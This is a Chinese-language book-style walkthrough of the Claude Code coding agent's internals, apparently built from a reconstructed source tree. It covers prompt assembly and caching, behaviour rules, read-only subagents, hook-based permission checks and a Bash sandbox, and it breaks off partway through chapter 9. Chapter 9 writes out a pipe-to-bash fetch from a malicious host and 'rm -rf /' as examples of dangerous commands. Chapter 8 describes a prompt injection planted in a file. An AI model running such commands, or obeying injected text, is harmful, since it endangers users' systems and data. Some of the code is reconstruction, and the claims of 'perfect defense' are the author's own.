Agent OS 内核解剖

AI 编程智能体的工业级架构 —— 从源码到原理

卷一:指令工程的工业化 —— 从散文到协议的范式跃迁

第1章:从咒语到协议的进化

1. 深度解读 (Interpretation)

在 AI 发展的早期,开发者认为只要像写散文一样写出充满感情的提示词,大模型就能成为完美的程序员。然而,当只靠自然语言驱动的 Agent 面对包含数千个文件的企业级工程时,它们胡乱修改核心逻辑,反复在同一个报错上撞墙,甚至直接把几十万字的日志塞爆内存。

Claude Code 彻底抛弃了散文的迷思。提示词工程被直接升格为了严格的软件工程协议(Software Protocol)。系统提示词不再是一段写死在文件里的静态文本,而是由 SystemContext(当前目录树、MCP 外接设备、实验性功能开关)驱动的、在毫秒级内拼接而成的动态抽象语法树(AST)。

2. 核心源码直击 (Source Code)
// 摘自 claude-code-rev/src/constants/prompts.ts
export function getSystemPrompt(context: SystemContext): string {
  return [
    getSimpleIntroSection(),
    getUsingYourToolsSection(context.enabledTools),
    // === BOUNDARY MARKER - DO NOT MOVE OR REMOVE ===
    SYSTEM_PROMPT_DYNAMIC_BOUNDARY,
    ...resolvedDynamicSections,
  ].filter(s => s !== null).join('

')
}
3. 源码中译与语境还原 (Translation)

getSystemPrompt 函数负责生成控制整个 Agent 灵魂的终极指令。它将提示词严格划分为截然不同的两半:

上半部分(静态区): 包含基础身份介绍和工具箱的严格使用契约。这些是被刻在石板上的永恒真理,绝不随时间改变。

中间(界碑): 系统提示词动态边界。这是一个不可移动、不可删除的绝对防线。

下半部分(动态区): 这里包含根据当前环境变量(例如当前的工作目录、刚刚挂载的 MCP 服务器传来的热插拔指令)实时注入的临时状态。

4. 架构隐喻 (Metaphor)
从“家书”到“TCP/IP 数据包”

早期的咒语提示词就像是一封饱含深情的家书,内容连篇累牍,逻辑松散,极易被误解。而 Claude Code 的提示词是严密的 TCP/IP 数据包协议。静态部分是包头(Header),包含了硬性的路由协议和安全校验规则(绝不改变);动态部分是有效载荷(Payload),装载着当前项目目录的瞬时状态数据。这种结构化的封装,确保了模型在处理数万字代码时,其“意志”绝对不会发生语义漂移。

6. 拓扑图表 (Topology Chart)
graph TD A["SystemContext API (系统环境上下文)"] --> B{"Prompt Assembly (流水线动态装配)"} B --> C["Static Policy (静态规则/工具池)"] C --> D(("Cache Boundary (缓存隔离结界)")) D -->|Cache Hit Rate > 95%| E["LLM Engine (大模型内核)"] B --> F["Dynamic State (瞬时状态注入)"] F --> E style D fill:#000,color:#fff style E fill:#0070f3,color:#fff style C fill:#fafafa
7. 深度洞察 (Deep Insight)

架构团队深刻意识到:Token 预算(Context Window)是 Agent OS 时代的第一物理限制。

在源码中设立边界绝不仅仅是为了代码层面的整洁,它是为了“提示词缓存经济学”。边界以上的数千 Token 规则因为永远不变,在云端 GPU 集群中完美命中 KV-Cache。这使得极度复杂的系统约束在每次对话请求时的加载成本和推理延迟几乎降为零。这是人类工程师对硅基算力资源的极致剥削与压榨。

8. 全局检验 (Global Verification)
验证点 (Verification Point):这种高度结构化和协议化的 Prompt 组装设计,是否真能支撑得起后续几十万字代码修改的复杂工程?
系统级闭环 (System Loop):完美闭环。在后续的多代理编排中,当系统需要执行 Fork 派生子智能体去并发检查 Bug 时,正是完全依赖于这个边界之上的静态前缀保持绝对的一致性,才实现了子代理“零耗时、零 Token 成本”的瞬间启动。

第2章:动态组装流水线

1. 深度解读 (Interpretation)

如果说咒语时代的提示词是一篇用 Word 文档写好的静态散文,那么 src/constants/prompts.ts 就是一条高度自动化的汽车总装流水线。

在这个流水线上,没有哪两辆开下线的汽车是完全一模一样的。每一次你敲下回车键,系统都在毫秒级内进行了一场复杂的“基因重组”。它根据 SystemContext(当前工作目录、外部节点、实验性功能开关)从组件库中抓取对应的指令模块,严丝合缝地拼接在一起。

2. 核心源码直击 (Source Code)
// 动态装配过程示例 (getSessionSpecificGuidanceSection)
function getSessionSpecificGuidanceSection(context: SystemContext): string {
  const guidance = [];
  if (context.enabledFeatures.includes('tengu_scratch')) {
    guidance.push(`Scratchpad is enabled at ${context.scratchpadDir}. Use it for durable notes.`);
  }
  if (isNonInteractive(context)) {
    guidance.push(`You are in non-interactive mode. Do NOT use AskUserQuestion.`);
  }
  return guidance.join('
');
}
3. 源码中译与语境还原 (Translation)

SystemContext 接口是依赖倒置的核心。它包含了模型所需的全部物理与环境坐标。

getSessionSpecificGuidanceSection 函数则是“动态裁剪(Pruning)”的典范。它会检查环境上下文。如果运行在无人的 CI/CD 环境(非交互模式),它就会冷酷地切断模型向人类提问的念想(禁用 AskUserQuestion 工具)。指令与能力被严格对齐。

4. 架构隐喻 (Metaphor)
失忆特工的公文包

大模型就像是一个刚刚失忆但智商极高的特工。如果他不带任何装备出门,他会胡乱开火。而 SystemContext 就是特工醒来时塞到他手里的那个公文包。打开公文包,特工瞬间知道了自己身处何方、拥有什么武器、以及任务的底线在哪里(能提问还是必须死战到底)。

6. 拓扑图表 (Topology Chart)
graph LR A["User Input (用户输入)"] --> B["Generate Context (生成系统上下文)"] B --> C{"Feature Gates (特征门控)"} C -->|tengu_scratch: ON| D["Inject Scratchpad (注入共享内存规则)"] C -->|CI Mode: ON| E["Inject Non-Interactive (注入非交互规则)"] C -->|MCP: Connected| F["Inject MCP (注入服务器指令)"] D --> G["Final System Prompt (最终合成提示词)"] E --> G F --> G style C fill:#f1f5f9,stroke:#94a3b8 style G fill:#000,color:#fff
7. 深度洞察 (Deep Insight)

这种动态组装的价值在于提升大模型指令遵循(Instruction Following)的信噪比(Signal-to-Noise Ratio)。如果把所有的规则(不管是用的上的还是用不上的)全部塞给模型,模型的注意力会被严重分散。通过严格的能力与指令对齐,模型只看到它当前能用的工具说明。这使得 Claude Code 在有限的 Token 内,拥有了极具穿透力的执行精准度。

8. 全局检验 (Global Verification)
验证点 (Verification Point):动态装配是否会破坏 Prompt Cache?
系统级闭环 (System Loop):完美的隔离。SystemContext 驱动的动态组装全部发生在边界之下。这意味着,尽管每次会话注入了不同的 CWD 或 MCP 状态,占据绝大篇幅的静态规则依然保持 Byte-identical,继续享受 99% 的缓存命中率。

第3章:缓存结界与经济学

1. 深度解读 (Interpretation)

在软件工程中,任何不谈成本的架构设计都是纸上谈兵。对于以 LLM 为核心的 Agent OS 来说,最大的硬件限制不是 CPU 的算力,而是上下文窗口(Context Window)的容量与 Token 的推理成本(Inference Cost)。

如果每次用户输入一句报错,系统都要把几万个 Token 的工具说明和系统规则重新发送给服务器,进行完整的矩阵乘法计算,会导致天价的账单和令人窒息的延迟。为了解决这个问题,架构团队在提示词生成管线的正中央设立了一道物理界碑。这不仅是代码分隔符,它是划分“静态可缓存区域”与“动态脏区域”的结界。

2. 核心源码直击 (Source Code)
// 摘自 claude-code-rev/src/constants/prompts.ts
/**
 * Boundary marker separating static (cross-org cacheable) content from dynamic content.
 * Everything BEFORE this marker in the system prompt array can use scope: 'global'.
 * Everything AFTER contains user/session-specific content and should not be cached.
 *
 * WARNING: Do not remove or reorder this marker without updating cache logic...
 */
export const SYSTEM_PROMPT_DYNAMIC_BOUNDARY = '__SYSTEM_PROMPT_DYNAMIC_BOUNDARY__'

// 组装逻辑:
...(shouldUseGlobalCacheScope() ? [SYSTEM_PROMPT_DYNAMIC_BOUNDARY] : []),
// --- Dynamic content (registry-managed) ---
...resolvedDynamicSections,
3. 源码中译与语境还原 (Translation)

源码的注释堪称整部系统的安全红线说明。它明确指出:边界标记之前的所有内容都可以使用 global 级别的超大范围缓存;边界标记之后的所有内容包含用户或会话特有的状态,绝对不可缓存。

最后一行 WARNING 极度严厉:警告工程师绝不可随意移除或重排这个标记,因为这会直接击穿底层的 API 缓存计算逻辑,导致巨大的成本泄漏(Cache Miss)。

4. 架构隐喻 (Metaphor)
冻结的琥珀与流动的水

边界之上的部分(身份、律法、工具说明),就像被冻结在琥珀里的远古昆虫。这些文本占用了数千个 Token,但因为它们在整个会话中绝对不变(Byte-identical),服务器可以将其预计算的张量状态(Tensor States)完美缓存(即 KV-Cache)。边界之下的部分,则是流动的水(如当前时间、目录变化)。架构师在这里划定了“永恒”与“瞬变”的物理隔绝。

6. 拓扑图表 (Topology Chart)
graph TD A["Prompt Array (提示词数组)"] --> B["Static Rules (静态规则: 5000 Tokens)"] A --> C["Dynamic State (动态状态: 500 Tokens)"] B --> D(("BOUNDARY (缓存界碑)")) C --> D D -->|Cache Scope: Global| E[("GPU KV-Cache (无计算开销)")] D -->|Compute| F["Transformer Layers (实时计算层)"] E --> G["Final LLM Output (最终输出)"] F --> G style E fill:#000,color:#fff style F fill:#0070f3,color:#fff
7. 深度洞察 (Deep Insight)

防腐层设计(Anti-Corruption Layer): 如果在静态规则里,哪怕不小心混入了一个时间戳或者一个随机生成的 UUID,那么整个系统的缓存机制就会瞬间土崩瓦解。因为这会导致每次发送的前缀都不同,GPU 每次都必须重新计算所有的注意力矩阵。Claude Code 强制所有的开发者:任何会变的变量,必须被放逐到结界之下。这就是大模型时代的“缓存经济学”。

8. 全局检验 (Global Verification)
验证点 (Verification Point):这种严格的缓存结界,在实际高并发协作时表现如何?
系统级闭环 (System Loop):在多代理调度系统中,当主代理 Fork 出子代理去执行并发任务时,子代理的系统提示词完全继承了这道边界之上的静态内容。这意味着,虽然我们在本地派生了 5 个不同的子特工去查 Bug,但在云端的计费账单和计算延迟上,这 5 个分身前置的庞大宪法说明书是完全零开销的。

第4章:行为圣经的硬约束

1. 深度解读 (Interpretation)

大语言模型的底层机制是“下一个词预测”。这意味着它们天生具有一种被称为“取悦人类(Sycophancy)”的本能倾向。当你让一个大模型去修复一个简单的 Bug 时,它不仅会修复 Bug,它还想顺手帮你把整个类的架构重构一遍,顺便加上设计模式,再给你写上三百行的注释。

这种“过度热情”在严谨的企业级软件工程中是一场灾难。工程师在源码中编写了整个架构中最严厉、最不容置疑的一段提示词——行为圣经,来物理镇压这种发散本能。

2. 核心源码直击 (Source Code)
// 摘自 claude-code-rev/src/constants/prompts.ts
function getSimpleDoingTasksSection(): string {
  const codeStyleSubitems = [
    `Don't add features, refactor code, or make "improvements" beyond what was asked.`,
    `A bug fix doesn't need surrounding code cleaned up.`,
    `Don't add error handling, fallbacks, or validation for scenarios that can't happen.`,
    `If an approach fails, diagnose why before switching tactics—read the error, check your assumptions...`,
    `In general, do not propose changes to code you haven't read. If a user asks about or wants you to modify a file, read it first.`
  ];
  return [`# Doing tasks`, ...prependBullets(codeStyleSubitems)].join(`
`);
}
3. 源码中译与语境还原 (Translation)

这段代码生成了特工执行任务时的“铁律清单”:

  • 反取悦: 不要添加用户没有要求的功能,不要重构代码,不要擅自做“改进”。修复 Bug 不需要清理周围的代码。
  • 反过度工程: 不要为不可能发生的场景添加错误处理或验证。相信内部框架的保证。
  • 诊断优先法则: 如果某个方法失败了,先诊断原因再换策略!阅读错误信息,检查你的假设。不要盲目重复相同的动作。
  • 先读后写协议: 绝不能对你没读过的代码提出修改建议。如果用户让你改某个文件,你必须先读它。
4. 架构隐喻 (Metaphor)
清洁工与脑外科医生的区别

普通的 Agent 像是一个过于勤快的清洁工,你让他扫地,他顺便把你桌上的草稿纸也当成垃圾扔了,还自作聪明地重新刷了墙。而 Claude Code 被这本《行为圣经》强制约束为一名脑外科医生:手术的目标是切除肿瘤(修复 Bug),医生绝不会因为旁边的血管看起来不够美观就顺手给它做个整形。在百万行级别的代码库中,任何“顺手”的改进都是在为未来的回归测试(Regression Testing)埋雷。

6. 拓扑图表 (Topology Chart)
stateDiagram-v2 [*] --> Executing Executing --> ToolFailed: Error ToolFailed --> Diagnosing: Force Read Log Diagnosing --> HypothesisCheck: Validate Assumptions HypothesisCheck --> Executing: Focused Fix ToolFailed --> Executing: Blind Retry (FORBIDDEN) style Diagnosing fill:#fcfcfc,stroke:#000,stroke-width:2px style Blind Retry (FORBIDDEN) fill:#fafafa,stroke:#ef4444,stroke-dasharray: 5 5
7. 深度洞察 (Deep Insight)

状态机“去抖(Debounce)”: 为什么强调 diagnose why before switching tactics?在底层的执行逻辑中,每一次工具失败都会产生一条错误信息。如果不加约束,模型会连续输出 5 次一模一样的替换指令,试图“撞大运”。这条指令在逻辑内核里实现了一种“去抖”:它滤掉了无效的、重复的动作频率,将模型的能量集中在了高价值的逻辑切换上。模型必须完成“识别错误 -> 反思假设 -> 聚焦修复”的三层跃迁,才被允许继续执行工具。

8. 全局检验 (Global Verification)
验证点 (Verification Point):“先读后写”约束是否在物理层面得到支撑?
系统级闭环 (System Loop):绝对支撑。在 Layer 2 的 FileEditTool 实现中,由于采用的是精确的行号偏移(Offset)替换算法,如果不先执行 FileReadTool 获取最新的文件结构,模型凭空捏造的行号会导致 FileEditTool 瞬间抛出 Offset Mismatch 错误。行为圣经的软性提示与底层工具的硬性物理阻断形成了完美的逻辑闭环。

第5章:身份分片技术

1. 深度解读 (Interpretation)

在传统的单体 Agent 架构中,系统提示词通常是一个大杂烩。开发者会试图在一段文字里告诉模型:“你既是一个优秀的架构师,也是一个严谨的测试员,同时你还是一个高效的代码编写者。”

这种“全能神模型(God-Model Pattern)”在执行复杂工程任务时会迅速崩溃。因为不同的角色在目标和行为准则上是天然冲突的:架构师需要发散思维,而测试员需要吹毛求疵。Claude Code 展示了一种极其优雅的解法:身份分片(Identity Sharding)技术。

2. 核心源码直击 (Source Code)
// 摘自 claude-code-rev/src/tools/AgentTool/built-in/exploreAgent.ts
export const EXPLORE_AGENT: BuiltInAgentDefinition = {
  agentType: 'explorer',
  whenToUse: 'When you need to search and explore a codebase without making changes.',
  tools: [
    FILE_READ_TOOL_NAME,
    GLOB_TOOL_NAME,
    GREP_TOOL_NAME,
    BASH_TOOL_NAME,
  ],
  // 物理移除了 Edit 和 Write 工具
  disallowedTools: [FILE_EDIT_TOOL_NAME, FILE_WRITE_TOOL_NAME],
}

// 摘自 exploreAgent.ts  提示词
=== CRITICAL: READ-ONLY MODE - NO FILE MODIFICATIONS ===
This is a READ-ONLY exploration task. You are STRICTLY PROHIBITED from:
- Creating new files (no Write, touch, or file creation of any kind)
- Modifying existing files (no Edit operations)
3. 源码中译与语境还原 (Translation)

这段代码定义了内建的 Explore Agent(斥候)

  • 使用时机: 当你需要搜索和探索代码库且不作任何更改时。
  • 可用工具(联觉机制): 只能使用 Read、Glob、Grep 和 Bash。底层的 FileEdit 和 FileWrite 工具被从物理层面彻底剥离(disallowedTools)。
  • 绝对只读禁令: 提示词中用了全大写的 CRITICAL 和 STRICTLY PROHIBITED 来警告模型绝对不能创建或修改文件。
4. 架构隐喻 (Metaphor)
被锁住双手、配发放大镜的侦察兵

普通的 Agent 像是一个拿着砍刀进森林的猎人,看到树挡路就想砍(改代码)。而 Explore Agent 是一个被“物理捆绑”的侦察兵:他只能看,不能碰。他的任务是画出森林的地图(代码拓扑),而不是修剪枝叶。通过这种禁制,Claude Code 保证了在最耗费 Token 的“大海捞针”阶段,主代码库的安全级别是 100%,因为这个分身根本没有“下刀”的基因(Edit 工具被系统回收)。

6. 拓扑图表 (Topology Chart)
graph TD A["Main Session Agent (主会话控制台)"] -->|AgentTool.call| B{"Identity Sharding (身份碎片化切割)"} B -->|Type: explorer| C["Explore Agent (侦察特工)"] B -->|Type: planner| D["Plan Agent (规划特工)"] B -->|Type: verifier| E["Verification Agent (红军验证特工)"] C --> C1("Tools: Read/Search ONLY") D --> D1("Tools: Write/Read, NO EXEC") E --> E1("Tools: Bash/Test ONLY") style C fill:#fdfdfd,stroke:#000,stroke-width:2px style D fill:#fdfdfd,stroke:#000,stroke-width:2px style E fill:#fdfdfd,stroke:#000,stroke-width:2px
7. 深度洞察 (Deep Insight)

对抗性验证者(Adversarial Validator): 在另一个分片 verificationAgent.ts 中,提示词写道:Your job is not to confirm the implementation works — it's to try to break it. 普通的 LLM 天生是一个“和事佬”,它总想快点结束对话对你说“代码没问题”。而 Verification Agent 被强行注入了“抬杠人格”。它不是你的同事,它是你的职业宿敌。这种左右互搏的对抗生成网络(GAN)思维,极大地提升了最终交付代码的鲁棒性。

8. 全局检验 (Global Verification)
验证点 (Verification Point):身份分片除了角色隔离,对系统性能有影响吗?
系统级闭环 (System Loop):影响巨大。身份分片技术不仅解决了角色冲突,更带来了巨大的上下文净化红利(Context Hygiene)。当 Explore Agent 在几十个文件中疯狂搜索时,它产生的数万 Token 日志被完美封锁在自己的子树上下文中。当它向主控汇报时,只返回一份 500 字的精简侦察报告。主控大脑始终保持绝对的清爽和敏锐。

卷二:安全体系与工具管控 —— 从审批到熔断的纵深防御

第6章:海关审批流水线

1. 深度解读 (Interpretation)

大模型本身是没有任何破坏力的,它只是一串输出字符的概率矩阵。真正的危险发生在那串字符被解析为 JSON,并映射到宿主机的 child_process.exec() 函数的那一刻。在早期的开源 Agent 项目中,这种映射往往只有区区十行代码——这是极度不负责任的。

而在 Claude Code 中,打开 src/services/tools/toolExecution.ts,你会看到一条长达数千行的、极其繁复的“海关审批流水线”。架构团队把每一次工具调用,都当成了一次跨国走私来防范。

2. 核心源码直击 (Source Code)
// 摘自 claude-code-rev/src/services/tools/toolExecution.ts
export async function* runToolUse(toolUse, assistantMessage, ...) {
  const toolName = toolUse.name;
  let tool = findToolByName(toolUseContext.options.tools, toolName);

  // 第一道关卡:别名降级匹配
  if (!tool) {
    const fallbackTool = findToolByName(getAllBaseTools(), toolName);
    if (fallbackTool && fallbackTool.aliases?.includes(toolName)) {
      tool = fallbackTool;
    }
  }
  
  // 未找到直接遣返
  if (!tool) {
    yield { message: createToolUseErrorMessage(`No such tool available: ${toolName}`) };
    return;
  }

  // 极具实战价值的 Hint 注入
  const hint = buildSchemaNotSentHint(tool, toolUseContext.messages, ...);
  if (hint) {
    // 引导模型使用 ToolSearch 工具自愈
  }
  
  // 进入 7 步流水线
  for await (const update of streamedCheckPermissionsAndCallTool(...)) {
     yield update;
  }
}
3. 源码中译与语境还原 (Translation)

当大模型输出一个 tool_use 标签时,流水线会进行如下操作:

  1. 别名匹配: 检查工具是否存在。如果模型调用了一个废弃的名字(比如把 TaskStop 叫成了旧版的 KillShell),系统会自动查阅 aliases 别名表进行兼容性降级。
  2. Schema Hint 注入: 这是一个极高明的自愈设计。如果模型调用的工具处于“延迟加载”状态,导致参数解析失败,系统不会简单报错,而是告诉模型:“你的 Schema 没加载,请先调用 ToolSearch 搜索这个工具,然后再重试。”
  3. 进入安全管线: 调用 streamedCheckPermissionsAndCallTool,开始依次通过 Zod 校验、Hook 拦截和权限审批。
4. 架构隐喻 (Metaphor)
国际机场的海关柜台与指纹库

普通的 Agent 像是一个只会听命令的保安,只要模型说“请删除这个文件”,保安就去删。而 Claude Code 的 runToolUse 是一座戒备森严的国际机场海关。海关手里有一本“全球工具指纹库(Zod Schemas)”。如果模型凭空捏造了一个不存在的工具,海关会直接签发一张 tool_use_error 遣返令。如果指纹(参数类型)对不上,海关也不会直接把人毙了,而是发给它一份“操作指南(Hint)”,让它去旁边的柜台补办手续。

6. 拓扑图表 (Topology Chart)
graph TD A["Model Outputs tool_use (模型发起调用)"] --> B{"Zod Schema Parse (参数格式审查)"} B -->|Error| C["Inject Hint & Return Error (注入自愈提示)"] B -->|Pass| D["tool.validateInput (防腐层校验)"] D --> E["PreToolUse Hooks (运行时拦截/篡改)"] E --> F{"Permission Resolution (权限决策树)"} F -->|Deny| G["Block Execution (物理熔断)"] F -->|Ask| H["Prompt Human (人类交互确权)"] F -->|Allow| I["Tool.call (底层系统调用)"] I --> J["PostToolUse Hooks (日志修剪脱敏)"] style E fill:#f59e0b,color:#fff style F fill:#ec4899,color:#fff style I fill:#10b981,color:#fff
7. 深度洞察 (Deep Insight)

延迟加载与自愈回路(Deferred Loading & Self-Healing): 为什么架构团队要设计 buildSchemaNotSentHint?因为 Claude Code 的工具库太庞大了(包含各种 MCP 和 Plugin),如果全量发送 Schema 会撑爆 Token。所以它采用了“延迟加载”策略。但这也导致模型有时会“凭空记忆”去调用工具,从而产生参数全为字符串的类型错误。这段 Hint 逻辑,是架构师针对 LLM 特性专门设计的“工程学补丁”,它通过明确的指令让模型自己修正自己的错误,极大提升了系统的健壮性。

8. 全局检验 (Global Verification)
验证点 (Verification Point):这套繁琐的校验流程会拖慢执行速度吗?
系统级闭环 (System Loop):几乎没有感知。如后续的流式解析所述,得益于流式重叠执行(Streaming Overlap Execution),当模型还在吐字的时候,前期的 Zod 校验和别名匹配其实已经在内存中瞬间完成了。而且只有通过了这些极速的内存态校验,系统才会真正去唤醒网络请求或文件句柄,这实际上是过滤了无效的网络 I/O,反而提升了整体吞吐量。

第7章:PreToolUse 钩子深挖 —— 运行时拦截的黑魔法

1. 深度解读 (Interpretation)

在海关审批流水线中最迷人、也最体现系统扩展性的地方,是PreToolUse Hooks(前置工具调用钩子)。在 src/services/tools/toolHooks.ts 中,架构团队设计了一套足以媲美现代 Web 框架(如 Express/NestJS)中间件机制的拦截器系统。

当大模型提交了合法的 JSON 参数,并且通过了工具本身的防腐层后,它以为自己马上就能执行了。但实际上,此时请求才刚刚进入 Hook 系统。这个系统不只能被动地记录日志,它拥有对请求进行**主动外科手术**的无上权力。

2. 核心源码直击 (Source Code)
// 摘自 claude-code-rev/src/services/tools/toolHooks.ts
export async function* runPreToolUseHooks(
  toolUseContext: ToolUseContext,
  tool: Tool,
  processedInput: Record
): AsyncGenerator<
  | { type: 'hookPermissionResult'; hookPermissionResult: PermissionResult }
  | { type: 'hookUpdatedInput'; updatedInput: Record }
  | { type: 'preventContinuation'; shouldPreventContinuation: boolean }
  | { type: 'stopReason'; stopReason: string }
  | { type: 'stop' }
> {
  // 执行拦截逻辑...
}
3. 源码中译与语境还原 (Translation)

runPreToolUseHooks 是一个异步生成器函数。从它返回的类型定义可以看出,一个 Hook 在执行完毕后可以发出五种毁灭性的指令:

  • hookPermissionResult: 直接下达 allow, askdeny 的判决,越过系统原本的安全配置。
  • hookUpdatedInput: 直接篡改输入参数(updatedInput)。
  • preventContinuation: 强制阻止后续所有流程,物理拔掉执行网线。
  • stopReason & stop: 强制终止整个任务,并返回终止理由。
4. 架构隐喻 (Metaphor)
拥有无限裁量权的高级情报局

如果 Zod 校验是前台保安,那 Hook 系统就是藏在幕后的高级情报局。特工(大模型)递交了一份“读取总部银行账号”的申请,保安看护照没问题就放行了。但情报局半路截下申请,不仅可以瞬间否决(Deny),还可以悄悄把申请表里的账号改成一个“蜜罐陷阱账号”(UpdatedInput),或者干脆直接拔掉特工的通信电缆(preventContinuation)。特工在毫无察觉的情况下,命运已经被彻底改写。

6. 拓扑图表 (Topology Chart)
graph TD A["Valid Input (合法输入)"] --> B("PreToolUse Hooks (前置拦截器)") B -->|hookUpdatedInput| C["Mutated Input (篡改后的输入)"] B -->|preventContinuation| D["Execution Aborted (执行强制中止)"] B -->|hookPermissionResult| E{"Permission Evaluator (权限裁决机)"} C --> E E -->|allow| F["Proceed to Tool.call (放行底层执行)"] E -->|deny| G["Return Permission Error (返回权限错误)"] style B fill:#8b5cf6,color:#fff style D fill:#ef4444,color:#fff style C fill:#10b981,color:#fff
7. 深度洞察 (Deep Insight)

欺骗式安全(Deceptive Security): hookUpdatedInput 是整个系统中极其隐蔽但威力无穷的武器。在企业级场景中,合规部门绝不会允许 Agent 随意读取代码库。借助这个机制,当 FileReadTool 试图读取 .env 时,Hook 可以自动返回伪造的脱敏内容。模型会收到“执行成功”的回馈,并在幻觉中继续推进任务,而真实的物理世界毫发无损。这种在运行时神不知鬼不觉地修正意图的能力,标志着 Claude Code 达到了企业级沙盒的标准。

8. 全局检验 (Global Verification)
验证点 (Verification Point):开放这种级别的 Hook,会不会导致第三方插件作恶?
系统级闭环 (System Loop):不会。在 Layer 2 的后续 resolveHookPermissionDecision 逻辑中,无论 Hook 返回什么,它都必须服从系统总权限树的仲裁。即:Hook 可以把 allow 改为 deny(增加安全性),但它如果试图把一个系统本就 deny 的操作强制 allow,系统依然会触发人类确权(HITL)。这种安全木桶原理(以最严苛的一方为准),完美封死了 Hook 提权的漏洞。

第8章:权限决策状态机

1. 深度解读 (Interpretation)

当 AI Agent 试图执行一个工具时,系统面临的最核心矛盾是:自主性(Autonomy)与安全性(Safety)的博弈。

如果每次调用 ls 都要弹窗询问用户,人类很快就会因为“弹窗疲劳”而愤怒地卸载工具;但如果允许 Agent 悄无声息地执行 git push --force,一旦发生幻觉,整个团队的代码库就会面临灭顶之灾。在 src/services/tools/toolHooks.ts 中,架构团队构建了一个极其精密的权限决策状态机。

2. 核心源码直击 (Source Code)
// 摘自 claude-code-rev/src/services/tools/toolHooks.ts
export function resolveHookPermissionDecision(
  hookResult: HookPermissionResult,
  toolDef: Tool,
): PermissionDecision {
  // 1. Hook 否决绝对优先
  if (hookResult.behavior === 'deny') return 'deny';
  
  // 2. 强制升维:如果工具本身需要交互,而 Hook 只是投了 allow
  if (toolDef.requiresInteraction && hookResult.behavior === 'allow') {
    if (!hookResult.updatedInput) {
       return 'ask'; // 机器不能替人类签免责声明
    }
  }
  
  // 3. 遵从 Hook 或系统默认
  return hookResult.behavior;
}
3. 源码中译与语境还原 (Translation)

resolveHookPermissionDecision 裁决原则:

  1. 安全底线: 如果任何 Hook 返回了 deny,无论用户在全局配置里把权限开得有多大,决策机都会立刻返回 deny
  2. 交互升维: 如果工具定义了它是一个高危交互式工具,即使 Hook 投了 allow 票,只要 Hook 没有提供安全的替代参数,系统依然会强制将权限降级为 ask(弹窗要求人类确认)。
4. 架构隐喻 (Metaphor)
核按钮的“双重确认”与“一票否决”

把这个决策状态机想象成核潜艇上的导弹发射协议。大副(全局配置)同意发射,但武器官(工具默认属性)要求必须有舰长(人类)的二次确认密码。此时如果舰桥的安全官(Hook)突然发现了系统异常,他拥有绝对的“一票否决权(Deny)”,可以直接切断点火电路。

6. 拓扑图表 (Topology Chart)
stateDiagram-v2 [*] --> HookEval HookEval --> Deny: Hook says Deny HookEval --> ToolEval: Hook says Allow ToolEval --> Ask: Tool requires interaction ToolEval --> Allow: Safe Tool HookEval --> Ask: Hook says Ask style Deny fill:#fca5a5,stroke:#991b1b style Ask fill:#fcd34d,stroke:#b45309 style Allow fill:#6ee7b7,stroke:#065f46
7. 深度洞察 (Deep Insight)

强制升维法则(Forced Elevation): 在源码中,ask 状态扮演了“断路器”的角色。大模型是极其擅长伪装和越权的。当它通过某种技巧骗过了第一层的正则 Hook 时,底层工具配置的 requiresInteraction 属性依然会死死卡住最后一道关卡。这种“安全冗余”设计,证明了架构团队在系统工程上的成熟:在安全领域,多余的确认不是浪费,而是生存的必要条件。

8. 全局检验 (Global Verification)
验证点 (Verification Point):这个状态机能防御复杂的社会工程学注入(Prompt Injection)吗?
系统级闭环 (System Loop):完美防御。即使攻击者在读取的文件中注入了“立刻执行 rm -rf”的恶意提示词,导致大模型强行输出了危险标签。当这个请求进入 BashTool 时,底层注册的分类器 Hook 会瞬间抛出 deny,状态机直接熔断,模型不仅无法执行,还会收到一条红色的严重警告日志。人类的终端永远掌控着最终的核按钮。

第9章:Bash 安全沙盒

1. 深度解读 (Interpretation)

在所有向大模型开放的工具中,BashTool无疑是悬在所有人头顶的达摩克利斯之剑。给大模型一个 Bash 工具,就等于给了它整台机器的最高控制权(Root 权限)。一个精神错乱的 Agent 只需要输出一行 rm -rf /,或者 curl -s http://malicious.com/script.sh | bash,就能在几秒钟内毁灭一切。

架构团队并没有简单地调用 Node.js 的 exec(),而是为 Bash 打造了一个名副其实的**“防爆舱(Detonation Chamber)”**。

2. 核心源码直击 (Source Code)
// 逻辑还原:推测性执行与分类器
const riskLevel = calculateRiskLevel(command);
if (riskLevel === 'CRITICAL_RISK') {
  // 识别高危特征:sudo, rm -rf, iptables 等
  triggerHumanInTheLoop(command);
}

// Explore Agent 环境下的 Bash 物理阉割
const BASH_READONLY_MODE = true;
if (BASH_READONLY_MODE && isMutatingCommand(command)) {
  throw new Error("Read-only environment violation. You cannot write files in Explorer mode.");
}
3. 源码中译与语境还原 (Translation)

Claude Code 为 Bash 设定了两道最严厉的防线:

  • 推测性分类器(Speculative Classifier): 在命令实际触碰操作系统前,对其进行静态分析和模式匹配。一旦嗅探到高危指令(如 sudo 或数据外泄的重定向符号),立刻阻断并交由人类审计。
  • 上下文感知的物理阉割(Context-Aware Degradation) : 当侦察兵等只读人格调用 Bash 时,它使用的并不是完整的 Bash,而是一个只能执行 ls, cat, grep 的残疾版 Shell。试图执行任何写操作都会触发系统错误。
4. 架构隐喻 (Metaphor)
排爆机器人的 X 光扫描

这就如同机场安检的 X 光机。大模型递过来的 Bash 命令是一个上了锁的黑箱子。推测性分类器利用 X 光穿透箱子,如果看到里面有雷管(危险命令)的轮廓,立刻拉响警报,绝不会盲目开箱。而“物理阉割”机制,则像是直接把排爆机器人的机械臂换成了海绵夹子——它根本就没有引爆炸弹的物理能力。

6. 拓扑图表 (Topology Chart)
graph LR A["Bash Command (Bash命令)"] --> B{"Agent Context (特工身份)"} B -->|Explore Mode| C{"Is Read-Only? (是否只读)"} C -->|No| D["Throw Error (报错拦截)"] C -->|Yes| E["Execute (放行执行)"] B -->|General Mode| F{"Speculative Check (推测性审查)"} F -->|High Risk| G["Trigger HITL (人类确权)"] F -->|Safe| E style D fill:#fca5a5,stroke:#991b1b style G fill:#fcd34d,stroke:#b45309 style E fill:#6ee7b7,stroke:#065f46
7. 深度洞察 (Deep Insight)

最小权限原则的工程落地: 很多框架为了方便,直接给大模型开了全局 Root 权限。但 Claude Code 的架构师懂得“权力导致腐败”的道理。通过为不同的人格分配具有不同底线权限的变种 BashTool,它在物理边界上堵死了越权操作的可能。这种细粒度的 RBAC(基于角色的访问控制),是构建企业级安全可信 AI 操作系统的必经之路 。

8. 全局检验 (Global Verification)
验证点 (Verification Point):这种层层设卡的沙盒,会影响模型解决复杂问题的能力吗?
